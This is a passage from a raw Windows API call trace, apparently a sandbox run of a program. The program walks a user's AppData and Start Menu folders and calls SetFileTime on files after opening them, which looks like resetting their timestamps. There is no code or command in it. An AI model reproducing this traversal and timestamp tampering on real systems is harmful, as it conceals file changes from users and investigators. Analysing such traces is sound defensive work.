lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.787] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.787] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x490000, cFileName="..", cAlternateFileName="")) returned 1 [0088.787] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.787] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.787] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.787] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.790] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.790] CloseHandle (hObject=0x98) returned 1 [0088.790] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0088.790] lstrcmpA (lpString1=".", lpString2="Programs") returned -1 [0088.790] lstrcmpA (lpString1="..", lpString2="Programs") returned -1 [0088.790] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d606, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.791] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.791] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0088.791] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.791] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.791] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0088.791] lstrcmpA (lpString1=".", lpString2="Accessories") returned -1 [0088.791] lstrcmpA (lpString1="..", lpString2="Accessories") returned -1 [0088.791] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.791] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.791] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.791] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.792] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.792] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0088.792] lstrcmpA (lpString1=".", lpString2="Accessibility") returned -1 [0088.792] lstrcmpA (lpString1="..", lpString2="Accessibility") returned -1 [0088.792] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0088.792] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.792] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.792] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.792] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.792] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0088.792] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.795] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.795] CloseHandle (hObject=0xa4) returned 1 [0088.796] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1ab4d101, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ease of Access.lnk", cAlternateFileName="EASEOF~1.LNK")) returned 1 [0088.796] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.796] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1a98407e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0088.796] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.796] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b733f17, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0088.796] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.796] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1aa4275f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 1 [0088.797] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.797] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1aa4275f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 0 [0088.797] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0088.797] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2a53d8cd, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Command Prompt.lnk", cAlternateFileName="COMMAN~1.LNK")) returned 1 [0088.797] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.800] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.800] CloseHandle (hObject=0xa0) returned 1 [0088.800] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0088.800] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.800] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d73a72a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="Notepad.lnk", cAlternateFileName="")) returned 1 [0088.801] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.801] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfec52d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="Run.lnk", cAlternateFileName="")) returned 1 [0088.801] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.801] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x650063, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0088.801] lstrcmpA (lpString1=".", lpString2="System Tools") returned -1 [0088.801] lstrcmpA (lpString1="..", lpString2="System Tools") returned -1 [0088.801] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ef80, dwReserved1=0x52d630, cFileName=".", cAlternateFileName="")) returned 0x502758 [0088.801] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.802] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0088.802] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.802] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.802] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0d0d6f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="computer.lnk", cAlternateFileName="")) returned 1 [0088.802] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.805] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.805] CloseHandle (hObject=0xa4) returned 1 [0088.805] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e084aaf, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="Control Panel.lnk", cAlternateFileName="CONTRO~1.LNK")) returned 1 [0088.806] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.806] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.806] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.806] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.807] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.807] lstrcmpA (lpString1=".", lpString2="Administrative Tools") returned -1 [0088.807] lstrcmpA (lpString1="..", lpString2="Administrative Tools") returned -1 [0088.807] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x650063, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.807] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.807] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.807] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.807] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.811] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.811] CloseHandle (hObject=0xa0) returned 1 [0088.811] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.814] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.814] CloseHandle (hObject=0x9c) returned 1 [0088.814] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.814] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.815] lstrcmpA (lpString1=".", lpString2="Maintenance") returned -1 [0088.815] lstrcmpA (lpString1="..", lpString2="Maintenance") returned -1 [0088.815] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x52d618, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.815] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.815] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.815] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.815] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.818] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.818] CloseHandle (hObject=0xa0) returned 1 [0088.819] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.819] lstrcmpA (lpString1=".", lpString2="Startup") returned -1 [0088.819] lstrcmpA (lpString1="..", lpString2="Startup") returned -1 [0088.819] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004d, dwReserved1=0x6e0069, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.819] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.819] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.819] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.819] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.822] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.822] CloseHandle (hObject=0xa0) returned 1 [0088.823] lstrcmpA (lpString1=".", lpString2="Templates") returned -1 [0088.823] lstrcmpA (lpString1="..", lpString2="Templates") returned -1 [0088.823] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.824] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.824] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.824] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.824] lstrcmpA (lpString1=".", lpString2="Themes") returned -1 